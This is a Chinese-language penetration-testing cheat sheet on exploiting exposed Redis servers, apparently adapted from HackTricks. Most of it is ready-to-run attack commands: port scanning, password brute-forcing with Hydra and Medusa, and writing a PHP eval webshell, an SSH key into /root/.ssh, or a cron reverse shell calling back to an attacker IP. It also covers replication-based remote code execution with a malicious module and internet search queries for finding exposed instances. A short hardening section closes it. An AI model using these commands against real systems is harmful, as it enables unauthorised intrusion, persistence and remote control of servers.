---
title: "6379 - Redis"
weight: 6379
date: "2026-03-08T22:45:09+08:00"
lastmod: "2026-03-10T13:26:55+08:00"
---

💡 **学习提示**: 本文档介绍 **Redis** 的渗透测试方法，适合信息安全初学者和从业人员参考。

⚠️ **法律声明**: 本文档仅供学习和授权测试使用。未经授权的系统测试可能违反法律法规。

---

> ⚠️ **法律声明**: 本文档仅供学习和授权测试使用。未经授权的系统测试可能违反法律法规。

## 漏洞概述

Redis 是高性能的键值存储数据库，默认无密码且绑定 0.0.0.0，导致大量未授权访问漏洞。

**影响版本**: 所有版本  
**危害等级**: ⭐⭐⭐⭐⭐

---

## 信息收集

### 端口扫描

```bash
# Nmap 扫描
nmap -sV -p 6379 <TARGET_IP>

# Redis 信息脚本
nmap --script redis-info <TARGET_IP>
```

### 未授权访问检测

```bash
# 直接连接
redis-cli -h <TARGET_IP>

# 如果成功，查看信息
info
config get *
```

---

## 漏洞利用

### 方法 1: 未授权访问

```bash
# 连接 Redis
redis-cli -h <TARGET_IP>

# 查看信息
127.0.0.1:6379> info
127.0.0.1:6379> config get *

# 查看 keys
127.0.0.1:6379> keys *
```

### 方法 2: 弱口令爆破

```bash
# Hydra 爆破
hydra -a -l "" -P /usr/share/wordlists/rockyou.txt redis://<TARGET_IP>

# Medusa 爆破
medusa -h <TARGET_IP> -p "" -M redis

# 使用 redis-cli 测试
redis-cli -h <TARGET_IP> -a password
```

---

## 实战利用

### 写入 Webshell

```bash
# 连接 Redis
redis-cli -h <TARGET_IP>

# 设置 webshell
127.0.0.1:6379> config set dir /var/www/html
127.0.0.1:6379> config set dbfilename shell.php
127.0.0.1:6379> set x "<?php @eval($_POST['cmd']);?>"
127.0.0.1:6379> save

# 访问 webshell
http://<TARGET_IP>/shell.php
```

### 写入 SSH 公钥

```bash
# 生成 SSH 密钥
ssh-keygen -t rsa

# 连接 Redis
redis-cli -h <TARGET_IP>

# 写入公钥
127.0.0.1:6379> config set dir /root/.ssh
127.0.0.1:6379> config set dbfilename authorized_keys
127.0.0.1:6379> set x "\n\n\n<公钥内容>\n\n\n"
127.0.0.1:6379> save

# SSH 登录
ssh -i id_rsa root@<TARGET_IP>
```

### 写入定时任务

```bash
# 连接 Redis
redis-cli -h <TARGET_IP>

# 写入反弹 shell
127.0.0.1:6379> config set dir /var/spool/cron
127.0.0.1:6379> config set dbfilename root
127.0.0.1:6379> set x "\n*/1 * * * * /bin/bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1\n"
127.0.0.1:6379> save
```

### 主从复制 远程代码执行 (Redis 4.x/5.x)

```bash
# 攻击者启动恶意 Redis 服务器
redis-server --loadmodule /path/to/evil.so

# 受害者 Redis 配置主从
redis-cli -h <TARGET_IP>
127.0.0.1:6379> slaveof <ATTACKER_IP> 6379
127.0.0.1:6379> slaveof no one

# 执行恶意代码
```

---

## 防御建议

1. **设置强密码**
   ```bash
   # redis.conf
   requirepass StrongPassword123!
   ```

2. **绑定本地地址**
   ```bash
   # redis.conf
   bind 127.0.0.1
   ```

3. **禁用危险命令**
   ```bash
   # redis.conf
   rename-command FLUSHALL ""
   rename-command FLUSHDB ""
   rename-command CONFIG ""
   rename-command SHUTDOWN ""
   ```

4. **使用防火墙限制访问**
   ```bash
   iptables -A INPUT -p tcp --dport 6379 -s <TRUSTED_IP> -j ACCEPT
   ```

5. **以低权限用户运行**
   ```bash
   # 不要使用 root 运行 Redis
   ```

---

## 参考链接

- [HackTricks - 6379-redis](https://book.hacktricks.wiki/en/network-services-pentesting/6379-redis.html)

---

---

---

### 搜索引擎语法

#### FOFA

```bash
# FOFA 搜索语法
port="6379"
```

#### Shodan

```bash
# Shodan 搜索语法
port:6379
```

#### ZoomEye

```bash
# ZoomEye 搜索语法
port:6379
```

---

## 📖 参考资料

- [HackTricks - 6379-redis](https://book.hacktricks.wiki/en/network-services-pentesting/6379-redis.html)

